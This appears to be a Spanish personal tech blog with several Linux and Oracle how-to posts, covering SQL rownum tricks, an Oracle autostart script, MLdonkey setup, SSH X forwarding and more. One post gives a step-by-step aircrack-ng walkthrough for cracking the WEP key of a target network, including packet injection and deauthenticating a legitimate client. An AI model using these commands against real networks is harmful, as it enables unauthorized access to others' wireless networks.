SELECT: Obtener los primeros registros en una consulta

Para que al realizar una consulta nos salga el número de registro podemos realizar lo siguiente:
select rownum , campo1, campo2 from tabla1

la salida sera algo así
1 campo1 campo2
2 campo1 campo2
3 campo1 campo2
4 campo1 campo2

Si queremos usar una consulta con un order by y que se muestre el número de columna podríamos usar esta consulta:
select rownum, campo1, campo2 from tabla1 order by campo1
La salida no es lo que queremos:
1 campo1 campo2
4 campo1 campo2
3 campo1 campo2
2 campo1 campo2
Si queremos que el número se corresponda con el orden podemos hacer esta consulta:
select rownum , campo1, campo2 from tabla1 , dual where tabla1.campo1 = dual.dummy(+)
order by campo1
1 campo1 campo2
2 campo1 campo2
3 campo1 campo2
4 campo1 campo2

Estamos realizando un "outer join" entre la tabla dual y la tabla1 usando como campo común el que deseamos para la ordenación. La salida estaŕa ordenada por el campo1 y los número serán correctos.

Si tenemos dos o más campos con los que se tiene que ordenar, podemos realizar una consulta dentro de otra:
select rownum, t1.* from (select campo1, campo2 from tabla1 ORDER BY campo1 , campo2) t1;

Si ,continuando con el caso anterior, tenemos una consulta con un Order by y queremos restringirlo a los N primeros registros podemos usar lo siguiente

Si esta es la consulta con la clausula order by:
select campo1, campo2 from tabla1 Order by campo1

Rodearemos la consulta con otro select y le aplicaremos la restricción en cuanto al número de columnas:
select * from (select campo1, campo2 from tabla1 Order by campo1) where rownum < 100

por regla general:
select * from ( tuconsulta) where rownum < 100

Script de arranque automático de oracle en Linux

Si necesitamos que nuestra instancia de oracle arranque automáticamente cuando se reinicia o arranca el servidor / ordenador. Los siguientes pasos deben de funcionar tanto para oracle 10g como para 11g. Están realizados para Opensuse por lo que la ubicación de lagunos archivos podría diferir dependiendo de la instalación (esencialmente el init.d o los runlevels).

Debemos hacer lo siguiente en Opensuse como ROOT:

1) Editar el archivo el archivo /etc/oratab
En dicho archivo tendremos que poner algo similar a esto =
miinstancia:/home/dieguz/oracle/product/10.2.0/db_1:Y

Su sintaxis es
[instancia]:[ORACLE_HOME]:[Y o N]

La N indica que no queremos que se arranque automáticamente. La Y indica que queremos que se arranque automáticamente.

2) Creamos el archivo /etc/init.d/oracle como ROOT (desde consola podemos ejecutar cat > /etc/init.d/oracle ) :
#!/bin/sh
# chkconfig: 345
# descripcion: Oracle auto start-stop script.
#
# Set ORA_HOME al quivalente $ORACLE_HOME del sistema
# Set ORA_OWNER Al id del usuario linux que es el propietario de la BD

ORA_HOME=/home/dieguz/oracle/product/10.2.0/db_1
ORA_OWNER=dieguz

if [ ! -f $ORA_HOME/bin/dbstart ]
then
echo "Oracle startup: cannot start"
exit
fi

case "$1" in
'start')
# Arranca la Base de Datos
su - $ORA_OWNER -c "$ORA_HOME/bin/dbstart $ORA_HOME"
;;
'stop')
# Parar la Base de Datos
su - $ORA_OWNER -c "$ORA_HOME/bin/dbshut $ORA_HOME"
;;
esac

3) Damos los permisos adecuados al fichero:
chmod 755 /etc/init.d/oracle

4) Añadimos el script a los niveles de ejecución 345:
chkconfig oracle 345
5) Si usamos la versión 10g Release 2 , tendremos el siguiente mensaje de error:
Failed to auto-start Oracle Net Listener using /ade/vikrkuma_new/oracle/bin/tnslsnr

Tenemos que editar el archivo $ORACLE_HOME/bin/dbstart y modificar la línea :
ORACLE_HOME_LISTNER=/ade/vikrkuma_new/oracle

y poner
ORACLE_HOME_LISTNER=$ORACLE_HOME

Si no tenemos definida la variable de entorno $ORACLE_HOME ponemos la ruta a pelo
/home/dieguz/oracle/product/10.2.0/db_1

6) Ahora automáticamente debería arrancarse oracle al reiniciar el sistema. Si quieremos arracancarla o pararla manualmente podemos usar el comando:
/etc/init.d/oracle start
o para pararla con
/etc/init.d/oracle stop
Fuente:
http://www.oracle-base.com/articles/linux/AutomatingDatabaseStartupAndShutdownOnLinux.php

aircrack-ng: obteniendo clave wep con una intel 3945

Haremos los siguientes pasos como root:

0) Apuntar la dirección ethernet de nuestra tarjeta de red:
ifconfig wlan0 | egrep -o \.\.:\.\.:\.\.:\.\.:\.\.:\.\.

1) Desactivar el NetworkManager en el caso de que lo usemos
killall NetworkManager

2) Cargar los driver en modo monitor de nuestra tarjeta intel 3945 (tutorial sobre como configurar los driver de una intel 3945 en opensuse):
modprobe -r iwl3945
modprobe ipwraw

3) Localizar una red objetivo usando por ejemplo kismet (tutorial sobre kismet) o bien con otras herramientas.Necesitaremos una red que tenga trafico de paquetes de datos (es decir tendrá un cliente conectado) y que tenga encriptación de tipo WEP. Cuanto más paquetes más rapido saldrá la clave.
Apuntaremos los siguientes datos:

Channel -> Canal del objetivo.
BSSID -> la dirección ethernet de la estación de la red o punto de acceso (access point ) objetivo.
ESSID -> nombre de la red.

Suponemos que nuestra tarjeta de red es:
11:11:11:11:11:11
Supongamos que nuestra red objetivo es
Channel -> 11
ESSID -> Gallinero
BSSID -> 22:22:22:22:22:22


4) Configurar nuestra tarjeta de red con los datos de la red objetivo (canal, rate de captura y mac del ap)
echo 11 >/sys/class/net/wifi0/device/channel
echo 2 >/sys/class/net/wifi0/device/rate
echo 22:22:22:22:22:22 >/sys/class/net/wifi0/device/bssid

o equivalentemente
iwconfig wifi0 channel 11
iwconfig wifi0 rate 2
iwconfig wifi0 ap 22:22:22:22:22:22 <--- este comando no está soportado con la intel

5) En los siguientes pasos necesitaremos 4 consolas por separado, para ejecutar 4 tareas en paralelo

6) En la consola número 1 ejecutaremos un comando que asociará nuestra tarjeta de red al Punto de Acceso de la red objetivo:
aireplay-ng -1 0 -e ESSID_nombre_de_red -a BSSID_ETH_del_AP -h NUESTRA_ETH wifi0
en nuestro ejemplo
aireplay-ng -1 0 -e Gallinero -a 22:22:22:22:22:22 -h 11:11:11:11:11:11 wifi0
Para evitar desconexiones lo meteremos en un bucle de modo que se reasocie cada 5 minutos (300 segundos) :
while [true] do aireplay-ng -1 0 -e Gallinero -a 22:22:22:22:22:22 -h 11:11:11:11:11:11 wifi0; sleep 300 done

7) En la consola 2 ejecutaremos un comando que hará que capture paquetes encriptados y los reenvíe de nuevo al Punto de Acceso:
aireplay-ng -3 -b BSSID_ETH_del_AP -h NUESTRA_ETH wifi0

en el ejemplo
aireplay-ng -3 -b 22:22:22:22:22:22 -h 11:11:11:11:11:11 wifi0


8) En la consola 3 ejecutaremos un comando para capturar paquetes. En realidad la captura empezará cuando en la consola 2 se capture algún paquete ARP, se comenzará a inectar el tráfico y en la consola 3 se verá subir le número de paquetes.
airodump-ng -w /tmp/paquetes rtap0

9) Debemos tener unos 200.000 o 400.000 paquetes para crackear la clave wep. Pero podemos hacer que el aircrack vaya intentándolo concurrentemente con lo que vamos capturando con el siguiente comando en la consola 4:
aircrack-ptw /tmp/paquetes-1.cap
Unos cuantos minutos más tarde (dependiendo del volumen de trafico de la conexión deberiamos obtener la clave en hexadecimal. Cuando la tengamos paramos todas las consolas.

10) Convertimos la clave de hexadecimal a ascii usando algun conversor de hex a ascii (buscar en google) o desde una consola cualquiera ejecutamos:
echo TEXTO_HEX | xxd -r -p

ANEXO I: Como desconectar a un cliente autenticado

Si vemos que suben los paquetes de data pero no tenemos ningú paquete ARP podemos lanzar un paquete que desconecte al cliente legitimo, para forzar a que se asocie de nuevo con el Punto de Acceso. Ejecutamos:
aireplay-ng -1 0 -a BSSID_ETH_del_AP -c ETHERNET_DEL_CLIENTE_A_DESAUTENTICAR

en nuestro ejemplo ( suponiento que el cliente es 33:33:33:33:33:33):
aireplay-ng -1 0 -a 22:22:22:22:22:22 -c 33:33:33:33:33:33

Iso a USB : o como convertir una imagen iso en un usb autoarrancable

Recientemente me vi en la necesidad de instalar una imagen iso ( en este caso una imagen de fedora 11 para probarla) en un ordenador. Dado que no tenia cds, y sí pendrives , pense en convertir la imagen iso, de modo que se pudiese arrancar desde el usb e instalar la imagen sin cds ni dvd.


1- Instalar unetbootin. Para ello vamos a la página oficial (hay versión para windows y linux) o buscamos el paquete para opensuse aquí.

2-Una vez instalado (suponiendo que se haya instalado desde opensuse). Ejecutamos el programa desde consola como root o desde gnome/kde con el comando:
/usr/sbin/unetbootin

3- Elegimos "Imagen de Disco" y la ruta donde está la imagen iso (ej: /windows/D/descargas/Fedora-11-i686-Live.iso ). En la parte de abajo, normalmente estaŕa seleccionado como tipo "Unidad USB" y como unidad la ruta al usb (ej: /dev/sdc1). Si no vemos la unidad, podemos poner desde el terminal el comando "mount" para que nos muestre las unidades montadas:


4- Al pulsar aceptar comenzará la copia de los archivos necesarios.

SSH : ejecutar aplicaciones remotas con GUI

Este es uno de eso trucos en los que Linux demuestra cual potente puede ser ( sobre todo si lo comparamos con windows). El tip consisite en ejecutar aplicaciones gráficas (que requieren GUI) en remoto, a través de SSH.

Por ejemplo podemos ejecutar Netbeans,SQldeveloper, Yast (en modo grafico) o incluso Firefox de nuestro sobremesa o servidor desde nuestro portátil o . Las aplicaciones se ejecutarán en el ordenador remoto, tendrán acceso a los archivos remotos y en nuestra maquina (el portátil) sólo recibiremos la imagen de la aplicación.

Para poder realizar esto el comando es:
ssh -X -C usuario@hostremoto comando_a_ejecutar

Donde
- X indica que se utilice el X11 forwarding
- C indica que se use compresion
- comando_a_ejecutar es el programa que vamos a ejecutar: gnome-terminal, netbeans ....

Lo más cómodo es lanzar un terminal como gnome-terminal, y lanzar los programa que necesiten GUI desde ese terminal
>ssh -X -C dieguz2@miservidor gnome-terminal
> netbeans
Podemos cómodamente,sin necesdad de usar por ejemplo VNC, usar la potencia de un ordenador externo para ejecutar aplicaciones en maquinas poco potentes, como si estuviesemos delante del ordenador.

Para mejorar las prestaciones si vamos a usarlo en la red local incluso podríamos planternos usar SSH sin cifrado. Sobre esto último podemos encontrar info en : SSH sin cifrado

MLdonkey: instalación y configuración en opensuse

MLdonkey, es probablemente el clientep p2p más completo en cuanto a número de redes para linux (tmabién se puede ejecutar en windows). Soporta entre otras redes : edonkey200, kad, Bittorrent,gnutela 1/2, ftp ... Se ejecuta bajo linea de comandos y soporta varias interfaces gráficas.

1- Instalación ( en OpenSuse)

Necesitamos tener instalado el repositorio de packman. (Como instalar repositorio).Podemos usar Yast para buscar el MLdonkey o bien los instalamos desde linea de comandos como root (o con sudo):
zypper in MLDonkey MLDonkey-gui MLDonkey-ed2k_submit

2- Ejecución

Para ejecuta MLdondey, desde linea de comandos como usuario normal:
mldonkey
mldonkey, se ejecuta junto con una interfaz web que es accesible a través del navegador web:
http://localhost:4080/

Si queremos que se lance la GUI como una aplicación de toda la vida, primero lanzamos el mldonkey y luego la gui con el comando:
mlgui
A mi la mlgui me da fallos (violación de segmento) en la ventana de descargas, al expandir las descargas. pero es bastante cómoda para poner las descargas y ordenarlas. Por contra no permite ningún tipo de configuración del mldonkey, para lo que hay que usar la interfaz web.

3- Configuración

El proceso de configuración lo haremos a través de la interfaz web. Para ejecutar los comandos del MLdoneky los escribiremos a la derecha de "DL" donde aparece un cuadro que nos permite escribir el comnado, por ejemplo:
porttest

3.1 Configuracion MLDonkey : Velocidad de la red
Pulsamos en Options / Plugins, los parámetros principales:
client_name = nombre del cliente, o nombre con el que apareceremos en otros clientes p2p
max_hard_upload_rate = máxima velocidad de subida en Kb para linea de 512 pondremos 35 para no afectar mucho a la navegacion (el máximo de la línea ronda los 50kb)
max_hard_download_rate = máxima velocidad de descarga en Kb para linea de 3 megas, el máximo rondara los 300


3.2 Configurar que redes están activas

Para activar redes, iremos a "Options", y al lado de "plugins" buscaremos el cuadrado que pone "Net" .Dejaremos a True las redes que queramos tener activas.


3.3 Configuración Protocolos: Cambio de puerto

Para listar los puertos que está usando el MLdonkey usamos el comando
portinfo
Para configurar cada uno de los protocolos, iremos a Options y donde pone "plugin" pulsaremos sobre la red que queremos configurar. Lo normal es que al menos cambiemos los puertos:
bittorrent --> BT_client_port
bittorrent --> BT_tracker_port
emule --> ED2K-port

Podremos configurar otras opciones, como el número máximo de fuentes por archivo, o la prioridad de las redes y otras cientos de cosas más.

Para que el mldonkey funcione correctamente tendremos que abrir los puertos de nuestro cortafuegos en opensuse.

Los puerto de overnet (puerto 8141) y kademlia (por defecto 10714) se tienen que cambiar editando directamente el archivo donkey.ini que se encuentra en $HOME/.mldonkey/donkey.ini

En el caso del edonkey el puerto UDP que usa será el TCP+4 . Es decir que si fijamos el ED2K-port a 5020 , necesitaremos también abrir el puerto UDP 5024


3.4 Configurar los directorios de descarga y temporales

Los directorios por defecto del mldonkey son (para el usuario dieguz2 por ejemplo ):
/home/dieguz2/.mldonkey/temp --> archivos temporales
/home/dieguz/.mldonkey/incoming/directories --> archivos torrent multiarchivo descargados
/home/dieguz/.mldonkey/incoming/files --> archivos descargados (salvo bittorrent multiarchivo)

Para cambiar el directorio temporal vamos Options, y a la izquierda de "plugins" pulsamos "Files". Modificamos la varible tmp_directory con la ruta del directorio temporal que queramos, por ejemplo /windows/E/temp-emule. Estos archivos temporales no son compatibles con el emule de windows

Para cambiar los directorios donde se copian las descargas pulsamos en "Options" y luego en "Shares", que esta justo debajo. Pulsamos en "Add share" y añadimos:

0 /windows/E/misdescargas/files incoming_files
y
0 /windows/E/misdescargas/directorios incoming_directories

Donde /windows/E/misdescargas/files es un directorio ya creado donde almacenaremos nuestras descargas (podemos poner otro directorio) y /windows/E/misdescargas/directorios es donde se descargarán los torrent multiarchivos. Según la documentación se puede poner el mismo directorio con las dos estrategias (incoming_files y incoming_directories) pero yo al menos no he podido hacerlo.

Tambien podemos editar el archivo /home/dieguz2/.mldonkey/downloads.ini. Buscamos shared_directories y ponemos algo como esto

shared_directories = [
{ dirname = "/windows/E/final"
strategy = incoming_directories
priority = 0
};
{ dirname = "/windows/E/final"
strategy = incoming_files
priority = 0
};
{ dirname = shared
strategy = all_files
priority = 0
};]
4- Pegando elinks y archivos Bittorrent

Para pegar un enlace ed2k o un archivo bittorent pulsamos en DL o vamos dirección
http://localhost:4080/multidllink.html
Donde pegaremos el elink o la ruta al archivo bittorrent. Podemos poner la URL a internet del archivo bittorent y el MLdonkey se encarga de descargarlo.

5- Cerrando el mldonkey

Para cerrar el mldonkey usaremos el comando
kill


Update de tablas con inner join

Normalmente las consultas de update que contienen inner dan alguno de los siguientes errores:
SQL Error: ORA-00933: comando SQL no terminado correctamente
ORA-00933: SQL command not properly ended

Una opción es convertir estas sentencias en otras.

Ejemplo de consulta de update con inner que NO funciona:
UPDATE tabla1
SET columna1 = tabla2.columna1
from tabla1 INNER JOIN tabla2
ON (tabla1.columna2 = tabla2.columna2) AND (tabla1.columna3 = tabla2.columna3)


Ejemplo de consulta que ha sido transformada:

UPDATE tabla1
SET columna1 = (
select tabla2.columna1 from tabla2
WHERE (tabla1.columna2 = tabla2.columna2) AND (tabla1.columna3 = tabla2.columna3)
)


En realidad la hemos convertido en una subselección o un filtro. El problema está en que se va a realizar la consulta de select por cada una de las filas de la tabla. Esta consulta sólo es util para tablas que no tienen excesivas filas

Si necesariamente necesitamos realizar el update de la tabla mediante el join la sintaxis ha de ser la siguiente:

UPDATE
(select
tabla1.columna1 old_valor ,
tabla2.columna2 new_valor
from tabla1 INNER JOIN tabla2
ON (tabla1.columna4 = tabla2.columna4) AND (tabla1.columna3 = tabla2.columna3))
SET old_valor = new_valor

Para que esto pueda realizarse las dos tablas que participan en el inner tienen que tener la constaint unique o primary key:
alter table tabla1 add constraint tabla1_u unique (columna4,columna3);

En el caso de no tenerla podríamos forzar la sentencia con el hint /*+BYPASS_UJVC*/ .

Para poder usar la sentencia SET, forzosamente tendremos que dale nombre a las columnas implicadas (en este caso con los nombres old_valor y new valor), ya que no podemos usar los nombres de las tablas (no podemos usar tabla2.columna2 como valor asignado).

Oracle: registrar esquema XSD

Para registrar un esquema:
1) Nos aseguramos que tenemos los permisos adecuados otorgandolos como system:
grant create any directory, drop any directory, connect, resource, alter session, create view to usuario_oracle

PD: quizá tambien necesitemos el rol de XDBADMIN
grant XDBADMIN to usuario_oracle

2) Creamos en oracle un directorio, que apunte donde tenemos nuestro esquema
create or replace directory XMLDIR as '/home/dieguz2/xsd'

3) Registramos el esquema:
BEGIN
DBMS_XMLSCHEMA.registerSchema(
SCHEMAURL => 'esquema.xsd',
SCHEMADOC => bfilename('XMLDIR','esquema.xsd'),
CSID => nls_charset_id('AL32UTF8'));
END;

4) Ejemplo de como crear una tabla
create table TABLA_XML of xmltype XMLSchema "esquema.xsd" element "elemento_raiz_xml";

5) Ejemplo de inserción de un elemento:
Insert into TABLA_XML values( XMLType(bfilename('XMLDIR','archivoxml.xml') ,nls_charset_id('AL32UTF8')));

OpenSUSE 11.1: problemas con Compiz

Tras realizar las instalación de OpenSUSE encontré varios problemas de estabilidad con compiz. Entre los errores:
- Compiz se cerraba automáticamente cuando cerraba VirtualBox
- Compiz se cerraba inesperadamente mientras se movían las ventanas
- El escritorio se volvia negro cuando movía una ventana a una cara del cubo.

Estos problemas con compiz parece que son comunes a varios usuarios, según se puede leer en los foros. Para solucionar los problemas , al menos en mi caso hice lo siguiente:
1) Desinstalar completamente todos los paquetes relacionados con compiz desde yast
2) Borrar los archivos de configuración antiguos con:
rm -rf ~/.config/compiz

3) Instalar compiz con el 1-click-install en http://en.opensuse.org/Compiz_Fusion#openSUSE_11.1

Con esta instalación compiz está estable y no se cierra.

Como ver el tamaño de bloque (block size) de particiones reiserfs y ext2 / ext3

Para ver el tamaño de bloque en discos con el sistema de archivos Reiserfs, ejecutaremos como root:
/sbin/debugreiserfs -d /dev/sda1 | grep Blocksize
Para ver el tamaño de bloque en particiones Ext3 / Ext2, ejecutamos
dumpe2fs /dev/sda1 | grep -i 'Block size'

Donde /dev/sda1 será la particion que queramos mirar. Para ver las particiones y como están montadas ejecutamos
mount -l